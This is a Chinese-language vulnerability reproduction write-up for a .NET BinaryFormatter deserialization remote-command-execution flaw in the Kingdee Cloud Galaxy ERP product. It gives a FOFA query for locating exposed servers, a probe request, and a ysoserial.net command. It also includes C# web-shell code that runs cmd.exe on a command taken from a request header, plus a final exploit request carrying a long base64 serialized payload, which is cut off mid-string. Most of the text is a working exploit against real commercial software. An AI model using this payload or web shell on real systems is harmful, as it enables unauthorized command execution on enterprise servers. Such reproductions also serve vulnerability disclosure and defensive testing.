0x01 产品简介

0x02 漏洞概述

由于金蝶云星空数据通信默认采用的是二进制数据格式，需要进行序列化与反序列化，在此过程中未对数据进行签名或校验，导致客户端发出的数据可被攻击者恶意篡改，写入包含恶意代码的序列化数据，达到在服务端远程命令执行的效果。该漏洞不仅存在于金蝶云星空管理中心（默认8000端口），普通应用（默认80端口）也存在类似问题。

0x03 影响范围

0x04 复现环境

FOFA：app="金蝶云星空-管理中心"

0x05 漏洞复现

简单的分析了一下漏洞，属于.net反序列化场景中的 BinaryFormatter反序列化，BinaryFormatter位于命名空间 System.Runtime.Serialization.Formatters.Binary它是直接用二进制方式把对象进行序列化，优点是速度较快，在不同版本的.NET平台里都可以兼容。但是使用反序列化不受信任的二进制文件会导致反序列化漏洞从而实现远程RCE攻击。

本次复现需要使用ysoserial.net工具构造恶意序列化数据实现RCE

工具地址：https://github.com/pwntester/ysoserial.net

PoC

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: your-ip
Content-Type: text/json

{"ap0":"asdas","format":"3"}

可以发现请求体ap0参数构造任意字符串发起请求时会出现序列化异常，这种情况则存在漏洞

使用 ysoserial.net工具构造Payload

 .ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "a.cs;System.Windows.Forms.dll;System.Web.dll;System.dll"

命令中 -f 指定的是.net程序中的序列化类，-g 是ysoserial.net工具中的攻击链， 这里指定的是ActivitySurrogateSelectorFromFile链，这个攻击链可加载自定义的程序集。-c 是构造的程序集（a.cs），后面的dll文件是.NET Framework中的一个核心DLL文件，包含了一些相关的类和方法(自行加载，不需要构造)

编写一个从请求头中获取参数执行命令的ASP.NET 程序

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Headers["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

PS：通过接收 HTTP请求中的 cmd 参数，将其作为命令行参数传递给 cmd.exe 进程，并获取其输出结果，最终将输出结果作为 HTTP 响应返回给客户端（需放到ysoserial.net工具目录下或指定绝对路径）

生成序列化数据，加载到PoC中

最终exp:

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: your-ip
Content-Type: text/json
cmd: dir

{"ap0":"AAEAAAD/AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rp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NzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAAAACgkkAAAACggIAAAAAAoICAEAAAABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABASAAAABwAAAAkEAAAACgkoAAAACggIAAAAAAoICAEAAAABEwAAAA8AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAAcAAAAJBQAAAAoJLAAAAAoICAAAAAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFgAAAAcAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACggIAQAAAAEXAAAADwAAAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAAAAkHAAAACgk1AAAACggIAAAAAAoICAEAAAABGQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQAAAAGNwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAAAACAgKAAAACAEACAEACAEACAgAAAAAARsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAABjoAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0CCTsAAAAICAMAAAAJCwAAAAEdAAAADwAAAAY9AAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkGUwAAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQlTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACgFEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAACVIAAAAGWwAAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAAAk+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkGXwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRFbnVtZXJhdG9yCgFHAAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAAAAlAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51bWVyYXRvcigpCAAAAAoBSAAAAEIAAAAGaAAAAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWI